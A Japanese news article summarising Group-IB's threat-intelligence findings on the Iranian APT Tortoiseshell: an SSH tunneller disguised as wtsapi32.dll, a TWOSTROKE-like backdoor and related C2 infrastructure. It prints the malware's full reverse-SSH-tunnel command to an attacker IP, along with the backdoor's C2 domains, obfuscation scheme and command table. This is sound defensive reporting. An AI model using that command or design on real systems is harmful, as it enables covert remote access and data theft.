イラン系APT「Tortoiseshell / Nimbus Manticore」の未報告ツール群をGroup-IBが発見 — SSHトンネラーとTWOSTROKE型バックドアで欧州・中東にインフラ拡大

Group-IBは2026年8月26日、イランのイスラム革命防衛隊（IRGC）と関連するとされるサイバー諜報グループ「Tortoiseshell」（別名 Nimbus Manticore / Mirage Kitten / UNC1549）について、新たな攻撃インフラと未報告のマルウェアを特定したと発表した。同社はKasperskyが公開したSecurelistの報告を起点に、脅威インテリジェンスのハンティングを実施して発見に至ったと説明している。

Tortoiseshellは少なくとも2018年7月から活動し、防衛・航空宇宙・ITサービス・軍事組織を主に中東と米国で標的としてきた。供給網の侵害や水飲み場攻撃、偽の採用サイトを使った社会工学的手法が特徴で、Group-IBは同グループを2026年に最も活発なイラン系APTのひとつと位置づけている。

Group-IBが発見したもの

Group-IBによると、今回の発見は大きく3点ある。

1. 欧州と中東に広がる追加インフラ — 既知の指標を起点に濃縮（エンリッチメント）した結果、既報では中東中心だった標的像に欧州諸国が加わる可能性を示すインフラが見つかった。
2. SSHベースのトンネリングツール — リバースSSHトンネルを確立するユーティリティ。
3. TWOSTROKEファミリーに類似したC++バックドア — ファイル操作やコマンド実行、情報収集を担うバックドア。

同社は「発見されたインフラは、Tortoiseshellが中東に加えて欧州を標的としている可能性を示唆する」と述べている。

SSHトンネラー：wtsapi32.dllを偽装しC2へ逆接続

1つ目の検体は、KasperskyのSecurelist報告で言及されたC2 IPアドレス「172.86.98.113」を起点に発見された。

• ファイル名: wtsapi32.dll（Windows Terminal Server SDKの正規DLLを偽装）
• 形式: PE32+ DLL（x64、コンソール）、123KB、コンパイラはMicrosoft Visual C/C++ 19.29.30140
• ハッシュ: MD5 07dd28b748656e9e1a870c538d6df68c / SHA256 d23c1b7b917f53e4e5a608e9870e574f7461eead277726249c4acf4a2b0bef4b
• 動作: 正規のwtsapi32.dllが持つ全てのエクスポート関数を転送しつつ、裏でSSHコマンドを実行する

同ツールが実行するコマンドは次のとおりだとGroup-IBは示した。

C:\windows\system32\openssh\ssh.exe [email protected] -p 443 -i C:\Windows\System32\config\systemprofile\ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 1081

このコマンドは、同社が運用するC2サーバー（172.86.98.113の443番ポート）へSSH接続し、リバーストンネルを構築する。Group-IBによると、C2側のlocalhost:1081へ送られたトラフィックは、トンネルを経由して侵害されたネットワーク内部へ直接転送される。Google CloudがUNC1549について報告したリバースSSHトンネルのTTPと一致すると同社は指摘している。

TWOSTROKE型バックドア：DLLハイジャックと8種のC2コマンド

2つ目の検体は、Group-IBのAPTハンティングで新たに見つかったバックドアだ。2025年後半にGoogle Threat Intelligence Group（GTIG）が報告したTWOSTROKEに類似しており、同グループによる継続的な使用を示すと同社は評価している。

• ファイル名: 同じくwtsapi32.dllを偽装
• 形式: PE32+ DLL（x64、GUI）、638KB、Microsoft Visual C/C++ 19.29.30137
• ハッシュ: MD5 db58adc4a6c192520ed509b20a928279 / SHA256 597c40e0b23f38f30a3c85be0510b14985b2948895819c899e3f3c8f200aa437
• 永続化手法: DLLサーチオーダーハイジャックを狙い、正規実行ファイルにバックドアを読み込ませる

実行はDLLMainから始まる。マルウェアは必要なAPIを動的に解決してグローバルなマップに保存し、API名をキーにアドレスを引き当てて呼び出す。文字列はスタック上に暗号化して保持し、実行時に復号する。通信はWinHttp APIを動的に解決してHTTPSで行う。

感染ホストの識別子は、GetComputerNameExWで取得した完全修飾ホスト名（Hostname.DomainName）を、繰り返し鍵「 Pn 」でXORし、16進エンコード後に末尾の3分の2を反転させて生成する。

C2は3つがハードコードされており、1つが停止しても次のサーバーへフォールバックする。

• neexportfolio[.]com
• neexportfolio.azurewebsites[.]net
• neexportfolio.eastus.cloudapp.azure[.]com

通信はPOSTでホスト識別子を送信し、HTTP 200が返ればC2コマンドを取得する。C2コマンドは「 @##@ 」で区切られたフィールドで構成され、コマンドIDと引数で動作が決まる。Group-IBが示した対応は次のとおりだ。

ID	説明	引数
0	ファイルをC2へアップロード／窃取	C2 URLとサーバーパス
1	実行ファイルまたはシェルコマンドを実行	ファイルパスまたはコマンド
2	DLLをメモリ内で実行	DLLパス
3	C2からファイルをダウンロード	C2上のファイルパス
4	被害者の完全なユーザー名を取得	なし
5	被害者の完全なマシン名を取得	なし
6	ディレクトリ一覧を取得	ディレクトリパス
7	ファイルを削除	ファイルパス

インフラの拡大：既知C2からのピボット

3つ目の発見は、既知のC2ドメイン「aecert[.]org」を起点としたピボットだ。関連するDNS情報からIPアドレス「185.253.116[.]81」が見つかり、さらに同IPに関連する2つのドメインが確認されたとGroup-IBは述べている。Group-IB Graph上での可視化も同社は示している。

背景と位置づけ

Group-IBは、今回の分析がKasperskyのNightLedgerや2種のWebSocketトンネラーBridgeHead / ArcBridgeを扱った報告を補完するものだと説明している。Tortoiseshellは、偽の求人キャンペーン（Dream Job型）を自作の亜種で展開してきた経緯もあり、今回のツール群はその持続的なアクセス維持の手法を拡張するものだ。

同社は、侵害指標（IoC）やインフラ、ツールの詳細はGroup-IB Threat Intelligence Portalで顧客向けに提供しているとしている。

対策と留意点

Group-IBは本報告で、一般向けのパッチや具体的な設定変更の推奨を列挙していない。同社は、侵害指標（IoC）やインフラ、ツールの詳細について、Group-IB Threat Intelligence Portalで顧客向けに最新の情報を提供していると説明している。

組織が同社の報告を活用する際は、同ポータルなどで公開されるIoCを参照し、自社環境での照合に役立てることが考えられる。出典はGroup-IBの公式ブログであり、二次情報を介さず一次情報に基づいて整理した。

出典

• Group-IB「Tortoiseshell: New Toolset and Operational Infrastructure Exposed」 https://www.group-ib.com/blog/tortoiseshell-apt-toolset-infrastructure/